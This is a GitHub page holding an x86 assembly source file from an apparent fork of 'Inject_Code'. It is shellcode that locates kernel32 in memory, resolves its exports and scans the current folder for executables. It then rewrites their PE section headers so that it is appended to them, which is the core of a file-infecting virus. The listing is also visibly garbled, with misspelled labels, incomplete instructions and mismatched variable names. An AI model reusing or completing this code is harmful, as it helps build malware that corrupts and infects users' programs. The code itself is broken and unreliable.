forked from BlackTrace/Inject_Code
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.asm
More file actions
391 lines (365 loc) · 6.62 KB
/
Copy pathmain.asm
File metadata and controls
391 lines (365 loc) · 6.62 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
.586p
.model flat, stdcall
extern VirtualProtect@16 NEAR
_DATA segment
temp dword ?
_DATA ends
_TEXT segment
START:
push offset temp
push 40h
mov eax, offset endShellCode
mov ebx, offset startShellCode
sub eax, ebx
push eax
mov eax, offset startShellCode
push eax
call VirtualProtect@16
startShellCode:
call make
make:
pop eax
sub eax, offset make
mov [offset delta + eax], eax
mov esi, eax
codeStart:
pop eax
push
and eax, 0ffff000h
findKernel32:
cmp word ptr[eax], "ZM"
jne findContinues
mov edi, [eax, 3ch]
add edi, eax
mov ebx, [edi]
cmp ebx, "EP"
je findedKernel32
findContinues:
sub eax, 10000h
jmp findKernel32
findedKernel32:
mov [VAImageBaseKernel + esi], eax
mov [VAEsignatureInMem + esi], edi
mov ebx, [edi + 78h]
mov ecx, [edi + 43h]
sub eax, ecx
add ebx, ecx
add ebx, eax
mov [VAExportTableInMem + esi], ebx
mov edi, ebx
mov ebx, [edi + 28]
add ebx, [ImageBase + esi]
mov [VAEAT + esi], ebx
mov ebx, [edi + 32]
add ebx, [ImageBase + esi]
mov [VAENT + esi], ebx
mov ebx, [edi + 36]
add ebx, [ImageBase + esi]
mov [VAEOT + esi], ebx
mov eax, [VAENT + esi]
sub eax, 4
mov edx, [VAEOT + esi]
sub edx, 2
findFuncName:
add edx, 2
add eax, 4
mov ebx, [eax]
add ebx, [ImageBase + esi]
mov ecx, [ebx]
cmp ecx, "PteG"
je lable1
jmp findFuncName
lable1:
mov ecx, [ebx + 4]
cmp ecx, "Acor"
je lable2
jmp finFuncName
lable2:
mov ecx, [edx + 8]
cmp ecx, "erdd"
je lable3
jmp findFuncName
lable3:
xor ecx, ecx
mov cx, word ptr[ebx + 12]
cmp cx, "ss"
je endFind
jmp findFuncName
endFind:
mov cx, word ptr[edx]
mov edx, [VAEAT + esi]
findAddress :
add edx, 4
loop findAddress
mov edx, [edx]
add edx, [ImageBase]
mov[func_GetProcAddress + esi], edx
mov eax, offset LoadLibraryA
add eax, esi
push eax
push[ImageBase + esi]
call[func_GetProcAddress + esi]
mov[func_LoadLibraryA + esi], eax
mov eax, offset ReadFile
add eax, esi
push eax
push [ImageBase + esi]
call [func_GetProcAddress + esi]
mov [func_ReadFile + esi], eax
mov eax, offset MessageBox
add eax, esi
push eax
push [ImageBase + esi]
call [func_MessageBox + esi], eax
mov eax, offset FindFirstFileA
add eax, esi
push eax
push [ImageBase + esi]
call [func_FindFirstFileA], eax
mov eax, offset FindNextFileA
add eax, esi
push eax
push [ImageBase + esi]
call [func_FindFirstFileA], eax
mov eax, offset WriteFile
add eax, esi
push eax
push [ImageBase + esi]
call [func_WriteFile], eax
mov eax, offset lstrcmp
add eax, esi
push eax
push [ImageBase + esi]
call [func_WriteFile], eax
mov eax, offset SetFilePointer
add eax, esi
push eax
push [ImageBase + esi]
call [func_SetFilePointer], eax
mov eax, offset CloseHandle
add eax, esi
push eax
push [ImageBase + esi]
call [func_CloseHandle], eax
mov eax, offset ReadFile
add eax, esi
push eax
push [ImageBase + esi]
call [func_CLoseHandle], eax
push [oldEP + esi]
push [newEP + esi]
call searchFile
searchFile proc
pushad
mov eax, offset findData
add eax, esi
push eax
mov eax, offset pathFile
add eax, esi
push eax
call [func_FindFirstFileA + esi]
mov [hFindFile + esi], eax
jmp fileFirst
findFile:
mov eax, offset findData
add eax, esi
push eax
push [hFindFile + esi]
call [func_FindNextFileA + esi]
cmp eax, 0
je endFindFile
firstFile:
cmp dword ptr[FindData + esi], 10h
je findFile
cmp dword ptr[findData + esi], 20h
jne failFile
call injectCode
failFile:
jmp findFile
endFindFile:
popad
ret
searchFile endp
injectCode proc
pushad
push 0
push 20h
push 3
push 0
push 1
push 0C0000000h
mov eax, offset findData + 44
add eax, esi
push eax
call [func_CreateFile + esi]
mov [hFile + esi], eax
cmp eax, -1
je endInjectCode
mov [Signature + esi], 0
push 0
mov eax, offset numOfByteRead
add eax, esi
push eax
push 2
mov eax, offset Signature
add eax, esi
push eax
push [hFile + esi]
call [func_ReadFile + esi]
mov eax, 0
mov ax, word ptr[offset Signature + esi]
cmp eax, 5a4dh
jne endInjectCode
mov [shellcodeSize + esi], offset endShelCode - offset startShellCode
push 0
push 0
push 3ch
push [hFile + esi]
call [func_SetFilePointer + esi]
push 0
mov eax, offset byteRead
add eax, esi
push eax, offset numByteRead
push 32
mov eax, offset VirtualSize
add eax, esi
push eax
push [hFile + esi]
call [func_ReadFile + esi]
Inject:
push [nameFile + esi]
push c00000000h
push 1
push 0
push 3
push 20
push 0
call [func_CreateFile + esi]
push [hFile + esi]
push [buff save + esi]
push [numByteReaded + esi]
push [overlapped + esi]
call [ReadFile]
mov [Characteristics + esi], 0E0000040h
mov eax, [shellcodeSize + esi]
mov edx, 0
div [FileAlignment + esi]
mov eax
sub eax, edx
add [RawSize + esi], eax
mov [numOfByteToFill + esi], eax
mov eax, [RawSize + esi]
mov [VirtualSize + esi], eax
push 1
push 0h
push - 32
push [hFile + esi]
call [func_SetFilePointer + esi]
push 0
mov eax, offset byteWritten
add eax, esi
push eax
push 32
mov eax, offset VirtualSize
add eax, esi
push eax
push [hFile + esi]
call [func_WriteFile + esi]
push 2
push 0
push 0
push [hFile + esi]
call [func_SetFilePointer + esi]
push 0
mov eax, offset byteWritten
add eax, esi
push eax
push 32
mov eax, offset VirtualSize
add eax, esi
push eax
push [hFile + esi]
call[func_WriteFile + esi]
mov eax, offset byteWritten
push 0
push 0
push 32
push [hFile + esi]
call [func_SetFilePointer + esi]
push 0
mov eax, offset byteWritten
add eax, esi
push eax
push 32
mov eax, offset RawSize
add eax, esi
push eax
push [hFile + esi]
call [func_WriteFile + esi]
push 0
push 0
push 32
push [hFile + esi]
call [func_SetFilePointer + esi]
push 0
mov eax, offset byteWritten
add eax, esi
push eax
push 32
mov eax, offset SizeOfImage
add eax, esi
push eax
push [hFile + esi]
call [func_WriteFile + esi]
data_ :
byteZero db 0
msg db "Hello world!", 0
delta dword ?
GetProcAddress dword ?
user32 db "user32.dll", 0
dll_user32 dword ?
MessageBoxA db "MessageBoxA", 0
func_MessageBoxA dword ?
VirtualProtect db "VirtualProtect", 0
func_VirtualProtect dword ?
CreateFile db "CreateFile", 0
func_CreateFile dword ?
WriteFile db "WriteFile", 0
func_WriteFile dword ?
SetFilePointer db "SetFilePointer", 0
func_SetFilePointer dword ?
CloseHandle db "CloseHanlde", 0
func_CloseHanlde dword ?
lstrcmp db "lstrcmp", 0
func_lstrcmp dword ?
FindFisrtFileA db "FindFirstFile", 0
func_FindFisrtFileA dword ?
FindNextFileA db "FindNextFileA", 0
func_FindNextFileA dword ?
ImageBase dword ?
Signature dword ?
VAEAT dword ?
shellcodeSize dword ?
fileSize dword ?
hFileOld dword ?
oldPesignature dword ?
oldSizeofImage dword ?
newSizeofImage dword ?
oldEP dword ?
newEP dword ?
NumberOfSection dword ?
SectionAlignment dword ?
FileAlignment dword ?
VirtualSize dword ?
VirtualAddress dword ?
RawSize dword ?
RawAddress dword ?
Free db 12 dup(?)
Characteristics dword ?
numOfByteToFill dword ?
byteWritten dword ?
numByteRead dword ?
hFindFile dword ?
pathFile db ".\*.*", 50 dup(0)
finData db 592 dup(?), 0
Signature db "trieuhv", 0